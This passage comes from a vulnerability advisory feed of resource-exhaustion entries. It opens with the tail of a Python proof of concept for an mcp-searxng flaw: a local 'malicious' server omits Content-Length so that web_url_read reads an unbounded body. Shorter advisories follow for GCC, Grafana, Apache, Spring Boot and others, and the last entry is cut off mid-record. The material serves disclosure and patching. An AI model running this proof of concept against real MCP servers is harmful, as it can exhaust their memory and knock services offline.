ct, sid\n\n\ndef parse_mcp_response(body: bytes, content_type: str) -\u003e dict | None:\n    \"\"\"Parse a JSON or SSE-wrapped JSON-RPC response.\"\"\"\n    if \"text/event-stream\" in content_type:\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n    try:\n        return json.loads(body)\n    except json.JSONDecodeError:\n        # Fallback: try SSE even if content-type says JSON\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=\" * 72, flush=True)\n    print(\"VULN-002 PoC \u2014 Unbounded Response Body Read Bypasses URL Size Limit\", flush=True)\n    print(\"=\" * 72, flush=True)\n    print(f\"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(f\"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}\", flush=True)\n    print(f\"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious HTTP server\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...\", flush=True)\n    evil_thread = threading.Thread(target=run_evil_server, daemon=True)\n    evil_thread.start()\n    if not wait_for_port(\"127.0.0.1\", EVIL_PORT, timeout=5):\n        print(\"[ERROR] Malicious server failed to start within 5 s\", flush=True)\n        sys.exit(1)\n    print(\"[+] Malicious server ready\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 2: Start mcp-searxng in HTTP mode\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n    env = {\n        **os.environ,\n        \"MCP_HTTP_PORT\"             : str(MCP_PORT),\n        \"MCP_HTTP_HOST\"             : \"127.0.0.1\",\n        \"SEARXNG_URL\"               : \"http://127.0.0.1:8080\",   # not used in this test\n        # Allow 127.x URLs so the PoC can point at the local malicious server.\n        # (Real attacks target public servers \u2014 this env var enables local reproduction.)\n        \"MCP_HTTP_ALLOW_PRIVATE_URLS\": \"true\",\n        \"NODE_ENV\"                  : \"production\",\n    }\n    proc = subprocess.Popen(\n        [\"node\", \"/app/dist/cli.js\"],\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n    )\n\n    def stream_server_logs():\n        for line in proc.stdout:\n            print(f\"[MCP-SERVER] {line.decode(errors=\u0027replace\u0027).rstrip()}\", flush=True)\n\n    log_thread = threading.Thread(target=stream_server_logs, daemon=True)\n    log_thread.start()\n\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=20):\n        print(\"[ERROR] mcp-searxng HTTP server failed to start within 20 s\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(\"[+] mcp-searxng HTTP server ready\", flush=True)\n\n    mcp_url = f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n\n    # ------------------------------------------------------------------\n    # Step 3: Initialize MCP session\n    # ------------------------------------------------------------------\n    print(\"[*] Initializing MCP session ...\", flush=True)\n    init_body, init_ct, session_id = http_post(\n        mcp_url,\n        payload={\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln002-poc\", \"version\": \"1.0\"},\n            },\n        },\n    )\n    init_resp = parse_mcp_response(init_body, init_ct)\n    if not init_resp or \"result\" not in init_resp:\n        print(f\"[ERROR] initialize failed: {init_body[:400]}\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(f\"[+] Session initialized. session_id={session_id}\", flush=True)\n\n    # Send notifications/initialized (no response expected \u2014 ignore errors)\n    try:\n        http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"},\n            timeout=10,\n        )\n    except Exception:\n        pass  # 202 with empty body or similar non-error responses\n\n    # ------------------------------------------------------------------\n    # Step 4: Call web_url_read pointing at the malicious server\n    # ------------------------------------------------------------------\n    evil_url = f\"http://127.0.0.1:{EVIL_PORT}/\"\n    print(flush=True)\n    print(f\"[*] Calling web_url_read with URL: {evil_url}\", flush=True)\n    print(f\"    HEAD response will have NO Content-Length\", flush=True)\n    print(f\"    =\u003e checkContentLength() returns null\", flush=True)\n    print(f\"    =\u003e guard at url-reader.ts:359 is bypassed\", flush=True)\n    print(f\"    =\u003e response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes\", flush=True)\n\n    t_start = time.monotonic()\n    try:\n        tool_body, tool_ct, _ = http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\n                \"jsonrpc\": \"2.0\",\n                \"id\": 2,\n                \"method\": \"tools/call\",\n                \"params\": {\n                    \"name\": \"web_url_read\",\n                    \"arguments\": {\"url\": evil_url, \"maxLength\": 1},\n                },\n            },\n            timeout=120,\n        )\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(tool_body, tool_ct)\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(e.read(), e.headers.get(\"content-type\", \"\"))\n    except Exception as e:\n        elapsed = time.monotonic() - t_start\n        print(f\"[WARN] tool call exception: {e}\", flush=True)\n        tool_resp = None\n\n    # Give the evil server thread a moment to flush its final log\n    time.sleep(0.5)\n\n    # ------------------------------------------------------------------\n    # Step 5: Collect and report evidence\n    # ------------------------------------------------------------------\n    print(flush=True)\n    print(\"=\" * 72, flush=True)\n    print(\"[EVIDENCE]\", flush=True)\n    print(f\"  HEAD_REQUESTS              : {g_head_count}\", flush=True)\n    print(f\"  GET_REQUESTS               : {g_get_count}\", flush=True)\n    print(f\"  GET_BYTES_SENT             : {g_bytes_sent:,}\", flush=True)\n    print(f\"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(\n        f\"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}\",\n        flush=True,\n    )\n    print(f\"  ELAPSED_SEC                : {elapsed:.2f}\", flush=True)\n\n    if tool_resp:\n        if \"error\" in tool_resp:\n            err = tool_resp[\"error\"]\n            print(\n                f\"  TOOL_STATUS                : ERROR code={err.get(\u0027code\u0027)} \"\n                f\"msg={str(err.get(\u0027message\u0027, \u0027\u0027))[:120]}\",\n                flush=True,\n            )\n        elif \"result\" in tool_resp:\n            content = tool_resp[\"result\"].get(\"content\", [])\n            text = content[0].get(\"text\", \"\") if content else \"\"\n            print(f\"  TOOL_STATUS                : SUCCESS\", flush=True)\n            print(f\"  RETURNED_LENGTH_CHARS      : {len(text)}\", flush=True)\n            print(f\"  RETURNED_EXCERPT           : {repr(text[:80])}\", flush=True)\n    else:\n        print(f\"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b\u0027\u003cno body\u003e\u0027}\", flush=True)\n\n    print(\"=\" * 72, flush=True)\n\n    # ------------------------------------------------------------------\n    # Verdict\n    # ------------------------------------------------------------------\n    bypass_confirmed = g_bytes_sent \u003e DEFAULT_MAX_CONTENT_LENGTH\n\n    if bypass_confirmed:\n        print(flush=True)\n        print(\"[PASS] VULNERABILITY CONFIRMED\", flush=True)\n        print(\n            f\"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a \"\n            f\"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.\",\n            flush=True,\n        )\n        print(f\"  Root cause confirmed:\", flush=True)\n        print(f\"    1. HEAD response had no Content-Length header.\", flush=True)\n        print(f\"    2. checkContentLength() returned null  (url-reader.ts:243-245)\", flush=True)\n        print(f\"    3. Guard condition was false (null !== null =\u003e false) (url-reader.ts:359)\", flush=True)\n        print(f\"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)\", flush=True)\n        proc.terminate()\n        sys.exit(0)\n    else:\n        print(flush=True)\n        if g_get_count == 0:\n            print(\"[FAIL] GET request was never received \u2014 mcp-searxng did not fetch from the evil server\", flush=True)\n        else:\n            print(\n                f\"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} \u003c= limit={DEFAULT_MAX_CONTENT_LENGTH:,}\",\n                flush=True,\n            )\n        proc.terminate()\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-xcqx-9jf5-w339",
  "modified": "2026-06-19T21:42:43Z",
  "published": "2026-06-19T21:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": " SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`"
}

GHSA-XCRQ-6RJW-5CHW

Vulnerability from github – Published: 2022-03-27 00:00 – Updated: 2022-04-01 00:00
VLAI
Details

libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-27943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-26T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.",
  "id": "GHSA-xcrq-6rjw-5chw",
  "modified": "2022-04-01T00:00:50Z",
  "published": "2022-03-27T00:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27943"
    },
    {
      "type": "WEB",
      "url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105039"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H424YXGW7OKXS2NCAP35OP6Y4P4AW6VG"
    },
    {
      "type": "WEB",
      "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=28995"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XCRV-G5FH-9WX2

Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-10 18:32
VLAI
Details

Several Grafana API endpoints, some of them unauthenticated, do not limit the size of the request body before processing it. An attacker can send very large payloads that force excessive memory allocation, potentially exhausting memory and causing a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-33382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T16:16:29Z",
    "severity": "HIGH"
  },
  "details": "Several Grafana API endpoints, some of them unauthenticated, do not limit the size of the request body before processing it. An attacker can send very large payloads that force excessive memory allocation, potentially exhausting memory and causing a denial of service.",
  "id": "GHSA-xcrv-g5fh-9wx2",
  "modified": "2026-07-10T18:32:19Z",
  "published": "2026-07-10T18:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33382"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2026-33382"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XCWR-PCWV-7GM8

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

In Apache HTTP server versions 2.4.37 and prior, by sending request bodies in a slow loris way to plain resources, the h2 stream for that request unnecessarily occupied a server thread cleaning up that incoming data. This affects only HTTP/2 (mod_http2) connections.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-17189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-30T22:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In Apache HTTP server versions 2.4.37 and prior, by sending request bodies in a slow loris way to plain resources, the h2 stream for that request unnecessarily occupied a server thread cleaning up that incoming data. This affects only HTTP/2 (mod_http2) connections.",
  "id": "GHSA-xcwr-pcwv-7gm8",
  "modified": "2022-05-13T01:08:56Z",
  "published": "2022-05-13T01:08:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17189"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2019-09"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4422"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3937-1"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbux03950en_us"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190125-0001"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201903-21"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Apr/5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U7N3DUEBFVGQWQEME5HTPTTKDHGHBAC6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IY7SJQOO3PYFVINZW6H5EK4EZ3HSGZNM"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re473305a65b4db888e3556e4dae10c2a04ee89dcff2e26ecdbd860a9@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re3d27b6250aa8548b8845d314bb8a350b3df326cacbbfdfe4d455234@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2fb621142e7fa187cfe12d7137bf66e7234abcbbcd800074c84a538@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd18c3c43602e66f9cdcf09f1de233804975b9572b0456cc582390b6f@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r15f9aa4427581a1aecb4063f1b4b983511ae1c9935e2a0a6876dad3c@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/84a3714f0878781f6ed84473d1a503d2cc382277e100450209231830@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/security/vulnerabilities_24.html"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:4126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3935"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3933"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3932"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106685"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XF44-G8MJ-XFG3

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

Softing edgeConnector Siemens ConditionRefresh Resource Exhaustion Denial-of-Service Vulnerability. This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of Softing edgeConnector Siemens. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of OPC UA ConditionRefresh requests. By sending a large number of requests, an attacker can consume all available resources on the server. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-20498.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:10Z",
    "severity": "HIGH"
  },
  "details": "Softing edgeConnector Siemens ConditionRefresh Resource Exhaustion Denial-of-Service Vulnerability. This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of Softing edgeConnector Siemens. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of OPC UA ConditionRefresh requests. By sending a large number of requests, an attacker can consume all available resources on the server. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-20498.",
  "id": "GHSA-xf44-g8mj-xfg3",
  "modified": "2024-05-03T03:30:48Z",
  "published": "2024-05-03T03:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27334"
    },
    {
      "type": "WEB",
      "url": "https://industrial.softing.com/fileadmin/psirt/downloads/syt-2023-1.html"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1054"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XF5P-87CH-GXW2

Vulnerability from github – Published: 2019-06-05 14:10 – Updated: 2022-08-02 17:43
VLAI
Summary
Marked ReDoS due to email addresses being evaluated in quadratic time
Details

Versions of marked from 0.3.14 until 0.6.2 are vulnerable to Regular Expression Denial of Service. Email addresses may be evaluated in quadratic time, allowing attackers to potentially crash the node process due to resource exhaustion.

Recommendation

Upgrade to version 0.6.2 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "marked"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.14"
            },
            {
              "fixed": "0.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-05T13:50:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `marked` from 0.3.14 until 0.6.2 are vulnerable to Regular Expression Denial of Service. Email addresses may be evaluated in quadratic time, allowing attackers to potentially crash the node process due to resource exhaustion.\n\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.",
  "id": "GHSA-xf5p-87ch-gxw2",
  "modified": "2022-08-02T17:43:57Z",
  "published": "2019-06-05T14:10:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markedjs/marked/pull/1460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markedjs/marked/commit/b15e42b67cec9ded8505e9d68bb8741ad7a9590d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markedjs/marked"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markedjs/marked/releases/tag/v0.6.2"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MARKED-174116"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Marked ReDoS due to email addresses being evaluated in quadratic time"
}

GHSA-XF96-W227-R7C4

Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2023-06-08 16:33
VLAI
Summary
Spring Boot Welcome Page Denial of Service
Details

In Spring Boot versions 3.0.0 - 3.0.6, 2.7.0 - 2.7.11, 2.6.0 - 2.6.14, 2.5.0 - 2.5.14 and older unsupported versions, there is potential for a denial-of-service (DoS) attack if Spring MVC is used together with a reverse proxy cache.

Specifically, an application is vulnerable if all of the conditions are true:

  • The application has Spring MVC auto-configuration enabled. This is the case by default if Spring MVC is on the classpath.
  • The application makes use of Spring Boot's welcome page support, either static or templated.
  • Your application is deployed behind a proxy which caches 404 responses.

Your application is NOT vulnerable if any of the following are true:

  • Spring MVC auto-configuration is disabled. This is true if WebMvcAutoConfiguration is explicitly excluded, if Spring MVC is not on the classpath, or if spring.main.web-application-type is set to a value other than SERVLET.
  • The application does not use Spring Boot's welcome page support.
  • You do not have a proxy which caches 404 responses.

Affected Spring Products and Versions

Spring Boot

3.0.0 to 3.0.6 2.7.0 to 2.7.11 2.6.0 to 2.6.14 2.5.0 to 2.5.14

Older, unsupported versions are also affected Mitigation

Users of affected versions should apply the following mitigations:

  • 3.0.x users should upgrade to 3.0.7+
  • 2.7.x users should upgrade to 2.7.12+
  • 2.6.x users should upgrade to 2.6.15+
  • 2.5.x users should upgrade to 2.5.15+

Users of older, unsupported versions should upgrade to 3.0.7+ or 2.7.12+.

Workarounds: configure the reverse proxy not to cache 404 responses and/or not to cache responses to requests to the root (/) of the application.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.boot:spring-boot-autoconfigure"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.boot:spring-boot-autoconfigure"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.boot:spring-boot-autoconfigure"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.boot:spring-boot-autoconfigure"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-20883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-26T22:09:06Z",
    "nvd_published_at": "2023-05-26T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "In Spring Boot versions 3.0.0 - 3.0.6, 2.7.0 - 2.7.11, 2.6.0 - 2.6.14, 2.5.0 - 2.5.14 and older unsupported versions, there is potential for a denial-of-service (DoS) attack if Spring MVC is used together with a reverse proxy cache.\n\nSpecifically, an application is vulnerable if all of the conditions are true:\n\n* The application has Spring MVC auto-configuration enabled. This is the case by default if Spring MVC is on the classpath.\n* The application makes use of Spring Boot\u0027s welcome page support, either static or templated.\n* Your application is deployed behind a proxy which caches 404 responses.\n\nYour application is NOT vulnerable if any of the following are true:\n\n* Spring MVC auto-configuration is disabled. This is true if WebMvcAutoConfiguration is explicitly excluded, if Spring MVC is not on the classpath, or if spring.main.web-application-type is set to a value other than SERVLET.\n* The application does not use Spring Boot\u0027s welcome page support.\n* You do not have a proxy which caches 404 responses.\n\n\nAffected Spring Products and Versions\n\nSpring Boot\n\n3.0.0 to 3.0.6 2.7.0 to 2.7.11 2.6.0 to 2.6.14 2.5.0 to 2.5.14\n\nOlder, unsupported versions are also affected\nMitigation\n\nUsers of affected versions should apply the following mitigations:\n\n* 3.0.x users should upgrade to 3.0.7+\n* 2.7.x users should upgrade to 2.7.12+\n* 2.6.x users should upgrade to 2.6.15+\n* 2.5.x users should upgrade to 2.5.15+\n\nUsers of older, unsupported versions should upgrade to 3.0.7+ or 2.7.12+.\n\nWorkarounds: configure the reverse proxy not to cache 404 responses and/or not to cache responses to requests to the root (/) of the application.",
  "id": "GHSA-xf96-w227-r7c4",
  "modified": "2023-06-08T16:33:52Z",
  "published": "2023-05-26T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-boot/issues/35552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-boot/commit/418dd1ba5bdad79b55a043000164bfcbda2acd78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-boot"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-boot/releases/tag/v2.5.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-boot/releases/tag/v2.6.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-boot/releases/tag/v2.7.12"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230703-0008"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2023-20883"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Boot Welcome Page Denial of Service"
}

GHSA-XFC6-58M9-WF28

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

While experiencing a broadcast storm, placing the fxp0 interface into promiscuous mode via the 'monitor traffic interface fxp0' can cause the system to crash and restart (vmcore). This issue only affects Junos OS 15.1 and later releases, and affects both single core and multi-core REs. Releases prior to Junos OS 15.1 are unaffected by this vulnerability. Affected releases are Juniper Networks Junos OS: 15.1 versions prior to 15.1F6-S11, 15.1R4-S9, 15.1R6-S6, 15.1R7; 15.1X49 versions prior to 15.1X49-D140; 15.1X53 versions prior to 15.1X53-D59 on EX2300/EX3400; 15.1X53 versions prior to 15.1X53-D67 on QFX10K; 15.1X53 versions prior to 15.1X53-D233 on QFX5200/QFX5110; 15.1X53 versions prior to 15.1X53-D471, 15.1X53-D490 on NFX; 16.1 versions prior to 16.1R3-S8, 16.1R5-S4, 16.1R6-S1, 16.1R7; 16.2 versions prior to 16.2R1-S6, 16.2R2-S5, 16.2R3; 17.1 versions prior to 17.1R1-S7, 17.1R2-S7, 17.1R3; 17.2 versions prior to 17.2R1-S6, 17.2R2-S4, 17.2R3; 17.2X75 versions prior to 17.2X75-D90, 17.2X75-D110; 17.3 versions prior to 17.3R1-S4, 17.3R2; 17.4 versions prior to 17.4R1-S3, 17.4R2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-11T18:29:00Z",
    "severity": "MODERATE"
  },
